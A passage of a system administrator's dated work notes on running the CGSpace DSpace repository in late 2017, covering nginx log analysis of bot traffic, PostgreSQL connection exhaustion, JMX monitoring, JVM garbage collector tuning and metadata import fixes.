  • Send Adam Hunt an invite to the DSpace Developers network on Yammer
    • +
  • He is the new head of communications at WLE, since Michael left
    • +
  • Merge changes to item view’s wording of link metadata (#348)
    • +
+

2017-11-17

+
    +
  • Uptime Robot said that CGSpace went down today and I see lots of Timeout waiting for idle object errors in the DSpace logs
    • +
  • I looked in PostgreSQL using SELECT * FROM pg_stat_activity; and saw that there were 73 active connections
    • +
  • After a few minutes the connecitons went down to 44 and CGSpace was kinda back up, it seems like Tsega restarted Tomcat
    • +
  • Looking at the REST and XMLUI log files, I don’t see anything too crazy:
    • +
+
# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 | grep "17/Nov/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+     13 66.249.66.223
+     14 207.46.13.36
+     17 207.46.13.137
+     22 207.46.13.23
+     23 66.249.66.221
+     92 66.249.66.219
+    187 104.196.152.243
+   1400 70.32.83.92
+   1503 50.116.102.77
+   6037 45.5.184.196
+# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep "17/Nov/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    325 139.162.247.24
+    354 66.249.66.223
+    422 207.46.13.36
+    434 207.46.13.23
+    501 207.46.13.137
+    647 66.249.66.221
+    662 34.192.116.178
+    762 213.55.99.121
+   1867 104.196.152.243
+   2020 66.249.66.219
+
    +
  • I need to look into using JMX to analyze active sessions I think, rather than looking at log files
    • +
  • After adding appropriate JMX listener options to Tomcat’s JAVA_OPTS and restarting Tomcat, I can connect remotely using an SSH dynamic port forward (SOCKS) on port 7777 for example, and then start jconsole locally like:
    • +
+
$ jconsole -J-DsocksProxyHost=localhost -J-DsocksProxyPort=7777 service:jmx:rmi:///jndi/rmi://localhost:9000/jmxrmi -J-DsocksNonProxyHosts=
+
    +
  • Looking at the MBeans you can drill down in Catalina→Manager→webapp→localhost→Attributes and see active sessions, etc
    • +
  • I want to enable JMX listener on CGSpace but I need to do some more testing on DSpace Test and see if it causes any performance impact, for example
    • +
  • If I hit the server with some requests as a normal user I see the session counter increase, but if I specify a bot user agent then the sessions seem to be reused (meaning the Crawler Session Manager is working)
    • +
  • Here is the Jconsole screen after looping http --print Hh https://dspacetest.cgiar.org/handle/10568/1 for a few minutes:
    • +
+

Jconsole sessions for XMLUI

+
    +
  • Switch DSpace Test to using the G1GC for JVM so I can see what the JVM graph looks like eventually, and start evaluating it for production
    • +
+

2017-11-19

+
    +
  • Linode sent an alert that CGSpace was using a lot of CPU around 4–6 AM
    • +
  • Looking in the nginx access logs I see the most active XMLUI users between 4 and 6 AM:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "19/Nov/2017:0[456]" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    111 66.249.66.155
+    171 5.9.6.51
+    188 54.162.241.40
+    229 207.46.13.23
+    233 207.46.13.137
+    247 40.77.167.6
+    251 207.46.13.36
+    275 68.180.229.254
+    325 104.196.152.243
+   1610 66.249.66.153
+
    +
  • 66.249.66.153 appears to be Googlebot:
    • +
+
66.249.66.153 - - [19/Nov/2017:06:26:01 +0000] "GET /handle/10568/2203 HTTP/1.1" 200 6309 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
+
    +
  • We know Googlebot is persistent but behaves well, so I guess it was just a coincidence that it came at a time when we had other traffic and server activity
    • +
  • In related news, I see an Atmire update process going for many hours and responsible for hundreds of thousands of log entries (two thirds of all log entries)
    • +
+
$ wc -l dspace.log.2017-11-19 
+388472 dspace.log.2017-11-19
+$ grep -c com.atmire.utils.UpdateSolrStatsMetadata dspace.log.2017-11-19 
+267494
+
    +
  • WTF is this process doing every day, and for so many hours?
    • +
  • In unrelated news, when I was looking at the DSpace logs I saw a bunch of errors like this:
    • +
+
2017-11-19 03:00:32,806 INFO  org.apache.pdfbox.pdfparser.PDFParser @ Document is encrypted
+2017-11-19 03:00:32,807 ERROR org.apache.pdfbox.filter.FlateFilter @ FlateFilter: stop reading corrupt stream due to a DataFormatException
+
    +
  • It’s been a few days since I enabled the G1GC on DSpace Test and the JVM graph definitely changed:
    • +
+

Tomcat G1GC

+

2017-11-20

+
    +
  • I found an article about JVM tuning that gives some pointers how to enable logging and tools to analyze logs for you
    • +
  • Also notes on rotating GC logs
    • +
  • I decided to switch DSpace Test back to the CMS garbage collector because it is designed for low pauses and high throughput (like G1GC!) and because we haven’t even tried to monitor or tune it
    • +
+

2017-11-21

+
    +
  • Magdalena was having problems logging in via LDAP and it seems to be a problem with the CGIAR LDAP server:
    • +
+
2017-11-21 11:11:09,621 WARN  org.dspace.authenticate.LDAPAuthentication @ anonymous:session_id=2FEC0E5286C17B6694567FFD77C3171C:ip_addr=77.241.141.58:ldap_authentication:type=failed_auth javax.naming.CommunicationException\colon; simple bind failed\colon; svcgroot2.cgiarad.org\colon;3269 [Root exception is javax.net.ssl.SSLHandshakeException\colon; sun.security.validator.ValidatorException\colon; PKIX path validation failed\colon; java.security.cert.CertPathValidatorException\colon; validity check failed]
+

2017-11-22

+
    +
  • Linode sent an alert that the CPU usage on the CGSpace server was very high around 4 to 6 AM
    • +
  • The logs don’t show anything particularly abnormal between those hours:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "22/Nov/2017:0[456]" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    136 31.6.77.23
+    174 68.180.229.254
+    217 66.249.66.91
+    256 157.55.39.79
+    268 54.144.57.183
+    281 207.46.13.137
+    282 207.46.13.36
+    290 207.46.13.23
+    696 66.249.66.90
+    707 104.196.152.243
+
    +
  • I haven’t seen 54.144.57.183 before, it is apparently the CCBot from commoncrawl.org
    • +
  • In other news, it looks like the JVM garbage collection pattern is back to its standard jigsaw pattern after switching back to CMS a few days ago:
    • +
+

Tomcat JVM with CMS GC

+

2017-11-23

+
    +
  • Linode alerted again that CPU usage was high on CGSpace from 4:13 to 6:13 AM
    • +
  • I see a lot of Googlebot (66.249.66.90) in the XMLUI access logs
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "23/Nov/2017:0[456]" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+     88 66.249.66.91
+    140 68.180.229.254
+    155 54.196.2.131
+    182 54.224.164.166
+    301 157.55.39.79
+    315 207.46.13.36
+    331 207.46.13.23
+    358 207.46.13.137
+    565 104.196.152.243
+   1570 66.249.66.90
+
    +
  • … and the usual REST scrapers from CIAT (45.5.184.196) and CCAFS (70.32.83.92):
    • +
+
# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 | grep -E "23/Nov/2017:0[456]" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+      5 190.120.6.219
+      6 104.198.9.108
+     14 104.196.152.243
+     21 112.134.150.6
+     22 157.55.39.79
+     22 207.46.13.137
+     23 207.46.13.36
+     26 207.46.13.23
+    942 45.5.184.196
+   3995 70.32.83.92
+
    +
  • These IPs crawling the REST API don’t specify user agents and I’d assume they are creating many Tomcat sessions
    • +
  • I would catch them in nginx to assign a “bot” user agent to them so that the Tomcat Crawler Session Manager valve could deal with them, but they seem to create any really — at least not in the dspace.log:
    • +
+
$ grep 70.32.83.92 dspace.log.2017-11-23 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+2
+
    +
  • I’m wondering if REST works differently, or just doesn’t log these sessions?
    • +
  • I wonder if they are measurable via JMX MBeans?
    • +
  • I did some tests locally and I don’t see the sessionCounter incrementing after making requests to REST, but it does with XMLUI and OAI
    • +
  • I came across some interesting PostgreSQL tuning advice for SSDs: https://amplitude.engineering/how-a-single-postgresql-config-change-improved-slow-query-performance-by-50x-85593b8991b0
    • +
  • Apparently setting random_page_cost to 1 is “common” advice for systems running PostgreSQL on SSD (the default is 4)
    • +
  • So I deployed this on DSpace Test and will check the Munin PostgreSQL graphs in a few days to see if anything changes
    • +
+

2017-11-24

+
    +
  • It’s too early to tell for sure, but after I made the random_page_cost change on DSpace Test’s PostgreSQL yesterday the number of connections dropped drastically:
    • +
+

PostgreSQL connections after tweak (week)

+
    +
  • There have been other temporary drops before, but if I look at the past month and actually the whole year, the trend is that connections are four or five times higher on average:
    • +
+

PostgreSQL connections after tweak (month)

+
    +
  • I just realized that we’re not logging access requests to other vhosts on CGSpace, so it’s possible I have no idea that we’re getting slammed at 4AM on another domain that we’re just silently redirecting to cgspace.cgiar.org
    • +
  • I’ve enabled logging on the CGIAR Library on CGSpace so I can check to see if there are many requests there
    • +
  • In just a few seconds I already see a dozen requests from Googlebot (of course they get HTTP 301 redirects to cgspace.cgiar.org)
    • +
  • I also noticed that CGNET appears to be monitoring the old domain every few minutes:
    • +
+
192.156.137.184 - - [24/Nov/2017:20:33:58 +0000] "HEAD / HTTP/1.1" 301 0 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2"
+
    +
  • I should probably tell CGIAR people to have CGNET stop that
    • +
+

2017-11-26

+
    +
  • Linode alerted that CGSpace server was using too much CPU from 5:18 to 7:18 AM
    • +
  • Yet another mystery because the load for all domains looks fine at that time:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "26/Nov/2017:0[567]" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    190 66.249.66.83
+    195 104.196.152.243
+    220 40.77.167.82
+    246 207.46.13.137
+    247 68.180.229.254
+    257 157.55.39.214
+    289 66.249.66.91
+    298 157.55.39.206
+    379 66.249.66.70
+   1855 66.249.66.90
+

2017-11-29

+
    +
  • Linode alerted that CGSpace was using 279% CPU from 6 to 8 AM this morning
    • +
  • About an hour later Uptime Robot said that the server was down
    • +
  • Here are all the top XMLUI and REST users from today:
    • +
+
# cat /var/log/nginx/rest.log  /var/log/nginx/rest.log.1  /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "29/Nov/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    540 66.249.66.83
+    659 40.77.167.36
+    663 157.55.39.214
+    681 157.55.39.206
+    733 157.55.39.158
+    850 66.249.66.70
+   1311 66.249.66.90
+   1340 104.196.152.243
+   4008 70.32.83.92
+   6053 45.5.184.196
+
    +
  • PostgreSQL activity shows 69 connections
    • +
  • I don’t have time to troubleshoot more as I’m in Nairobi working on the HPC so I just restarted Tomcat for now
    • +
  • A few hours later Uptime Robot says the server is down again
    • +
  • I don’t see much activity in the logs but there are 87 PostgreSQL connections
    • +
  • But shit, there were 10,000 unique Tomcat sessions today:
    • +
+
$ cat dspace.log.2017-11-29 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+10037
+
    +
  • Although maybe that’s not much, as the previous two days had more:
    • +
+
$ cat dspace.log.2017-11-27 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+12377
+$ cat dspace.log.2017-11-28 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+16984
+
    +
  • I think we just need start increasing the number of allowed PostgreSQL connections instead of fighting this, as it’s the most common source of crashes we have
    • +
  • I will bump DSpace’s db.maxconnections from 60 to 90, and PostgreSQL’s max_connections from 183 to 273 (which is using my loose formula of 90 * webapps + 3)
    • +
  • I really need to figure out how to get DSpace to use a PostgreSQL connection pool
    • +
+

2017-11-30

+
    +
  • Linode alerted about high CPU usage on CGSpace again around 6 to 8 AM
    • +
  • Then Uptime Robot said CGSpace was down a few minutes later, but it resolved itself I think (or Tsega restarted Tomcat, I don’t know)
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-12/index.html b/docs/2017-12/index.html new file mode 100644 index 000000000..55e7f6da9 --- /dev/null +++ b/docs/2017-12/index.html @@ -0,0 +1,837 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + December, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

December, 2017

+

+ + in + Notes + + +

+
+

2017-12-01

+
    +
  • Uptime Robot noticed that CGSpace went down
    • +
  • The logs say “Timeout waiting for idle object”
    • +
  • PostgreSQL activity says there are 115 connections currently
    • +
  • The list of connections to XMLUI and REST API for today:
    • +
+
# cat /var/log/nginx/rest.log  /var/log/nginx/rest.log.1  /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "1/Dec/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    763 2.86.122.76
+    907 207.46.13.94
+   1018 157.55.39.206
+   1021 157.55.39.235
+   1407 66.249.66.70
+   1411 104.196.152.243
+   1503 50.116.102.77
+   1805 66.249.66.90
+   4007 70.32.83.92
+   6061 45.5.184.196
+
    +
  • The number of DSpace sessions isn’t even that high:
    • +
+
$ cat /home/cgspace.cgiar.org/log/dspace.log.2017-12-01 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+5815
+
    +
  • Connections in the last two hours:
    • +
+
# cat /var/log/nginx/rest.log  /var/log/nginx/rest.log.1  /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "1/Dec/2017:(09|10)" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail                                                      
+     78 93.160.60.22
+    101 40.77.167.122
+    113 66.249.66.70
+    129 157.55.39.206
+    130 157.55.39.235
+    135 40.77.167.58
+    164 68.180.229.254
+    177 87.100.118.220
+    188 66.249.66.90
+    314 2.86.122.76
+
    +
  • What the fuck is going on?
    • +
  • I’ve never seen this 2.86.122.76 before, it has made quite a few unique Tomcat sessions today:
    • +
+
$ grep 2.86.122.76 /home/cgspace.cgiar.org/log/dspace.log.2017-12-01 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+822
+
    +
  • Appears to be some new bot:
    • +
+
2.86.122.76 - - [01/Dec/2017:09:02:53 +0000] "GET /handle/10568/78444?show=full HTTP/1.1" 200 29307 "-" "Mozilla/3.0 (compatible; Indy Library)"
+
    +
  • I restarted Tomcat and everything came back up
    • +
  • I can add Indy Library to the Tomcat crawler session manager valve but it would be nice if I could simply remap the useragent in nginx
    • +
  • I will also add ‘Drupal’ to the Tomcat crawler session manager valve because there are Drupals out there harvesting and they should be considered as bots
    • +
+
# cat /var/log/nginx/rest.log  /var/log/nginx/rest.log.1  /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "1/Dec/2017" | grep Drupal | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+      3 54.75.205.145
+      6 70.32.83.92
+     14 2a01:7e00::f03c:91ff:fe18:7396
+     46 2001:4b99:1:1:216:3eff:fe2c:dc6c
+    319 2001:4b99:1:1:216:3eff:fe76:205b
+

2017-12-03

+
    +
  • Linode alerted that CGSpace’s load was 327.5% from 6 to 8 AM again
    • +
+

2017-12-04

+
    +
  • Linode alerted that CGSpace’s load was 255.5% from 8 to 10 AM again
    • +
  • I looked at the Munin stats on DSpace Test (linode02) again to see how the PostgreSQL tweaks from a few weeks ago were holding up:
    • +
+

DSpace Test PostgreSQL connections month

+
    +
  • The results look fantastic! So the random_page_cost tweak is massively important for informing the PostgreSQL scheduler that there is no “cost” to accessing random pages, as we’re on an SSD!
    • +
  • I guess we could probably even reduce the PostgreSQL connections in DSpace / PostgreSQL after using this
    • +
  • Run system updates on DSpace Test (linode02) and reboot it
    • +
  • I’m going to enable the PostgreSQL random_page_cost tweak on CGSpace
    • +
  • For reference, here is the past month’s connections:
    • +
+

CGSpace PostgreSQL connections month

+

2017-12-05

+ +

2017-12-06

+
    +
  • Linode alerted again that the CPU usage on CGSpace was high this morning from 6 to 8 AM
    • +
  • Uptime Robot alerted that the server went down and up around 8:53 this morning
    • +
  • Uptime Robot alerted that CGSpace was down and up again a few minutes later
    • +
  • I don’t see any errors in the DSpace logs but I see in nginx’s access.log that UptimeRobot was returned with HTTP 499 status (Client Closed Request)
    • +
  • Looking at the REST API logs I see some new client IP I haven’t noticed before:
    • +
+
# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 | grep -E "6/Dec/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+     18 95.108.181.88
+     19 68.180.229.254
+     30 207.46.13.151
+     33 207.46.13.110
+     38 40.77.167.20
+     41 157.55.39.223
+     82 104.196.152.243
+   1529 50.116.102.77
+   4005 70.32.83.92
+   6045 45.5.184.196
+
    +
  • 50.116.102.77 is apparently in the US on websitewelcome.com
    • +
+

2017-12-07

+
    +
  • Uptime Robot reported a few times today that CGSpace was down and then up
    • +
  • At one point Tsega restarted Tomcat
    • +
  • I never got any alerts about high load from Linode though…
    • +
  • I looked just now and see that there are 121 PostgreSQL connections!
    • +
  • The top users right now are:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "7/Dec/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail 
+    838 40.77.167.11
+    939 66.249.66.223
+   1149 66.249.66.206
+   1316 207.46.13.110
+   1322 207.46.13.151
+   1323 2001:da8:203:2224:c912:1106:d94f:9189
+   1414 157.55.39.223
+   2378 104.196.152.243
+   2662 66.249.66.219
+   5110 124.17.34.60
+
    +
  • We’ve never seen 124.17.34.60 yet, but it’s really hammering us!
    • +
  • Apparently it is from China, and here is one of its user agents:
    • +
+
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Win64; x64; Trident/7.0; LCTE)
+
    +
  • It is responsible for 4,500 Tomcat sessions today alone:
    • +
+
$ grep 124.17.34.60 /home/cgspace.cgiar.org/log/dspace.log.2017-12-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+4574
+
    +
  • I’ve adjusted the nginx IP mapping that I set up last month to account for 124.17.34.60 and 124.17.34.59 using a regex, as it’s the same bot on the same subnet
    • +
  • I was running the DSpace cleanup task manually and it hit an error:
    • +
+
$ /home/cgspace.cgiar.org/bin/dspace cleanup -v
+...
+Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(144666) is still referenced from table "bundle".
+
    +
  • The solution is like I discovered in 2017-04, to set the primary_bitstream_id to null:
    • +
+
dspace=# update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (144666);
+UPDATE 1
+

2017-12-13

+
    +
  • Linode alerted that CGSpace was using high CPU from 10:13 to 12:13 this morning
    • +
+

2017-12-16

+
    +
  • Re-work the XMLUI base theme to allow child themes to override the header logo’s image and link destination: #349
    • +
  • This required a little bit of work to restructure the XSL templates
    • +
  • Optimize PNG and SVG image assets in the CGIAR base theme using pngquant and svgo: #350
    • +
+

2017-12-17

+
    +
  • Reboot DSpace Test to get new Linode Linux kernel
    • +
  • Looking at CCAFS bulk import for Magdalena Haman (she originally sent them in November but some of the thumbnails were missing and dates were messed up so she resent them now)
    • +
  • A few issues with the data and thumbnails: +
      +
    • Her thumbnail files all use capital JPG so I had to rename them to lowercase: rename -fc *.JPG
      • +
    • thumbnail20.jpg is 1.7MB so I have to resize it
      • +
    • I also had to add the .jpg to the thumbnail string in the CSV
      • +
    • The thumbnail11.jpg is missing
      • +
    • The dates are in super long ISO8601 format (from Excel?) like 2016-02-07T00:00:00Z so I converted them to simpler forms in GREL: value.toString("yyyy-MM-dd")
      • +
    • I trimmed the whitespaces in a few fields but it wasn’t many
      • +
    • Rename her thumbnail column to filename, and format it so SAFBuilder adds the files to the thumbnail bundle with this GREL in OpenRefine: value + "__bundle:THUMBNAIL"
      • +
    • Rename dc.identifier.status and dc.identifier.url columns to cg.identifier.status and cg.identifier.url
      • +
    • Item 4 has weird characters in citation, ie: Nagoya et de Trait
      • +
    • Some author names need normalization, ie: Aggarwal, Pramod and Aggarwal, Pramod K.
      • +
    • Something weird going on with duplicate authors that have the same text value, like Berto, Jayson C. and Balmeo, Katherine P.
      • +
    • I will send her feedback on some author names like UNEP and ICRISAT and ask her for the missing thumbnail11.jpg
      • +
    +
    • +
  • I did a test import of the data locally after building with SAFBuilder but for some reason I had to specify the collection (even though the collections were specified in the collection field)
    • +
+
$ JAVA_OPTS="-Xmx512m -Dfile.encoding=UTF-8" ~/dspace/bin/dspace import --add --eperson=aorth@mjanja.ch --collection=10568/89338 --source /Users/aorth/Downloads/2016\ bulk\ upload\ thumbnails/SimpleArchiveFormat --mapfile=/tmp/ccafs.map &> /tmp/ccafs.log
+
    +
  • It’s the same on DSpace Test, I can’t import the SAF bundle without specifying the collection:
    • +
+
$ dspace import --add --eperson=aorth@mjanja.ch --mapfile=/tmp/ccafs.map --source=/tmp/ccafs-2016/SimpleArchiveFormat
+No collections given. Assuming 'collections' file inside item directory
+Adding items from directory: /tmp/ccafs-2016/SimpleArchiveFormat
+Generating mapfile: /tmp/ccafs.map
+Processing collections file: collections
+Adding item from directory item_1
+java.lang.NullPointerException
+        at org.dspace.app.itemimport.ItemImport.addItem(ItemImport.java:865)
+        at org.dspace.app.itemimport.ItemImport.addItems(ItemImport.java:736)
+        at org.dspace.app.itemimport.ItemImport.main(ItemImport.java:498)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+java.lang.NullPointerException
+Started: 1513521856014
+Ended: 1513521858573
+Elapsed time: 2 secs (2559 msecs)
+
    +
  • I even tried to debug it by adding verbose logging to the JAVA_OPTS:
    • +
+
-Dlog4j.configuration=file:/Users/aorth/dspace/config/log4j-console.properties -Ddspace.log.init.disable=true
+
    +
  • … but the error message was the same, just with more INFO noise around it
    • +
  • For now I’ll import into a collection in DSpace Test but I’m really not sure what’s up with this!
    • +
  • Linode alerted that CGSpace was using high CPU from 4 to 6 PM
    • +
  • The logs for today show the CORE bot (137.108.70.7) being active in XMLUI:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "17/Dec/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    671 66.249.66.70
+    885 95.108.181.88
+    904 157.55.39.96
+    923 157.55.39.179
+   1159 207.46.13.107
+   1184 104.196.152.243
+   1230 66.249.66.91
+   1414 68.180.229.254
+   4137 66.249.66.90
+  46401 137.108.70.7
+
    +
  • And then some CIAT bot (45.5.184.196) is actively hitting API endpoints:
    • +
+
# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "17/Dec/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+     33 68.180.229.254
+     48 157.55.39.96
+     51 157.55.39.179
+     56 207.46.13.107
+    102 104.196.152.243
+    102 66.249.66.90
+    691 137.108.70.7
+   1531 50.116.102.77
+   4014 70.32.83.92
+  11030 45.5.184.196
+
    +
  • That’s probably ok, as I don’t think the REST API connections use up a Tomcat session…
    • +
  • CIP emailed a few days ago to ask about unique IDs for authors and organizations, and if we can provide them via an API
    • +
  • Regarding the import issue above it seems to be a known issue that has a patch in DSpace 5.7: + +
    • +
  • We’re on DSpace 5.5 but there is a one-word fix to the addItem() function here: https://github.com/DSpace/DSpace/pull/1731
    • +
  • I will apply it on our branch but I need to make a note to NOT cherry-pick it when I rebase on to the latest 5.x upstream later
    • +
  • Pull request: #351
    • +
+

2017-12-18

+
    +
  • Linode alerted this morning that there was high outbound traffic from 6 to 8 AM
    • +
  • The XMLUI logs show that the CORE bot from last night (137.108.70.7) is very active still:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "18/Dec/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    190 207.46.13.146
+    191 197.210.168.174
+    202 86.101.203.216
+    268 157.55.39.134
+    297 66.249.66.91
+    314 213.55.99.121
+    402 66.249.66.90
+    532 68.180.229.254
+    644 104.196.152.243
+  32220 137.108.70.7
+
    +
  • On the API side (REST and OAI) there is still the same CIAT bot (45.5.184.196) from last night making quite a number of requests this morning:
    • +
+
# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "18/Dec/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+      7 104.198.9.108
+      8 185.29.8.111
+      8 40.77.167.176
+      9 66.249.66.91
+      9 68.180.229.254
+     10 157.55.39.134
+     15 66.249.66.90
+     59 104.196.152.243
+   4014 70.32.83.92
+   8619 45.5.184.196
+
    +
  • I need to keep an eye on this issue because it has nice fixes for reducing the number of database connections in DSpace 5.7: https://jira.duraspace.org/browse/DS-3551
    • +
  • Update text on CGSpace about page to give some tips to developers about using the resources more wisely (#352)
    • +
  • Linode alerted that CGSpace was using 396.3% CPU from 12 to 2 PM
    • +
  • The REST and OAI API logs look pretty much the same as earlier this morning, but there’s a new IP harvesting XMLUI:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "18/Dec/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail            
+    360 95.108.181.88
+    477 66.249.66.90
+    526 86.101.203.216
+    691 207.46.13.13
+    698 197.210.168.174
+    819 207.46.13.146
+    878 68.180.229.254
+   1965 104.196.152.243
+  17701 2.86.72.181
+  52532 137.108.70.7
+
    +
  • 2.86.72.181 appears to be from Greece, and has the following user agent:
    • +
+
Mozilla/3.0 (compatible; Indy Library)
+
    +
  • Surprisingly it seems they are re-using their Tomcat session for all those 17,000 requests:
    • +
+
$ grep 2.86.72.181 dspace.log.2017-12-18 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l                                                                                          
+1
+
    +
  • I guess there’s nothing I can do to them for now
    • +
  • In other news, I am curious how many PostgreSQL connection pool errors we’ve had in the last month:
    • +
+
$ grep -c "Cannot get a connection, pool error Timeout waiting for idle object" dspace.log.2017-1* | grep -v :0
+dspace.log.2017-11-07:15695
+dspace.log.2017-11-08:135
+dspace.log.2017-11-17:1298
+dspace.log.2017-11-26:4160
+dspace.log.2017-11-28:107
+dspace.log.2017-11-29:3972
+dspace.log.2017-12-01:1601
+dspace.log.2017-12-02:1274
+dspace.log.2017-12-07:2769
+
    +
  • I made a small fix to my move-collections.sh script so that it handles the case when a “to” or “from” community doesn’t exist
    • +
  • The script lives here: https://gist.github.com/alanorth/e60b530ed4989df0c731afbb0c640515
    • +
  • Major reorganization of four of CTA’s French collections
    • +
  • Basically moving their items into the English ones, then moving the English ones to the top-level of the CTA community, and deleting the old sub-communities
    • +
  • Move collection 10568/51821 from 10568/42212 to 10568/42211
    • +
  • Move collection 10568/51400 from 10568/42214 to 10568/42211
    • +
  • Move collection 10568/56992 from 10568/42216 to 10568/42211
    • +
  • Move collection 10568/42218 from 10568/42217 to 10568/42211
    • +
  • Export CSV of collection 10568/63484 and move items to collection 10568/51400
    • +
  • Export CSV of collection 10568/64403 and move items to collection 10568/56992
    • +
  • Export CSV of collection 10568/56994 and move items to collection 10568/42218
    • +
  • There are blank lines in this metadata, which causes DSpace to not detect changes in the CSVs
    • +
  • I had to use OpenRefine to remove all columns from the CSV except id and collection, and then update the collection field for the new mappings
    • +
  • Remove empty sub-communities: 10568/42212, 10568/42214, 10568/42216, 10568/42217
    • +
  • I was in the middle of applying the metadata imports on CGSpace and the system ran out of PostgreSQL connections…
    • +
  • There were 128 PostgreSQL connections at the time… grrrr.
    • +
  • So I restarted Tomcat 7 and restarted the imports
    • +
  • I assume the PostgreSQL transactions were fine but I will remove the Discovery index for their community and re-run the light-weight indexing to hopefully re-construct everything:
    • +
+
$ dspace index-discovery -r 10568/42211
+$ schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery
+
    +
  • The PostgreSQL issues are getting out of control, I need to figure out how to enable connection pools in Tomcat!
    • +
+

2017-12-19

+
    +
  • Briefly had PostgreSQL connection issues on CGSpace for the millionth time
    • +
  • I’m fucking sick of this!
    • +
  • The connection graph on CGSpace shows shit tons of connections idle
    • +
+

Idle PostgreSQL connections on CGSpace

+
    +
  • And I only now just realized that DSpace’s db.maxidle parameter is not seconds, but number of idle connections to allow.
    • +
  • So theoretically, because each webapp has its own pool, this could be 20 per app—so no wonder we have 50 idle connections!
    • +
  • I notice that this number will be set to 10 by default in DSpace 6.1 and 7.0: https://jira.duraspace.org/browse/DS-3564
    • +
  • So I’m going to reduce ours from 20 to 10 and start trying to figure out how the hell to supply a database pool using Tomcat JNDI
    • +
  • I re-deployed the 5_x-prod branch on CGSpace, applied all system updates, and restarted the server
    • +
  • Looking through the dspace.log I see this error:
    • +
+
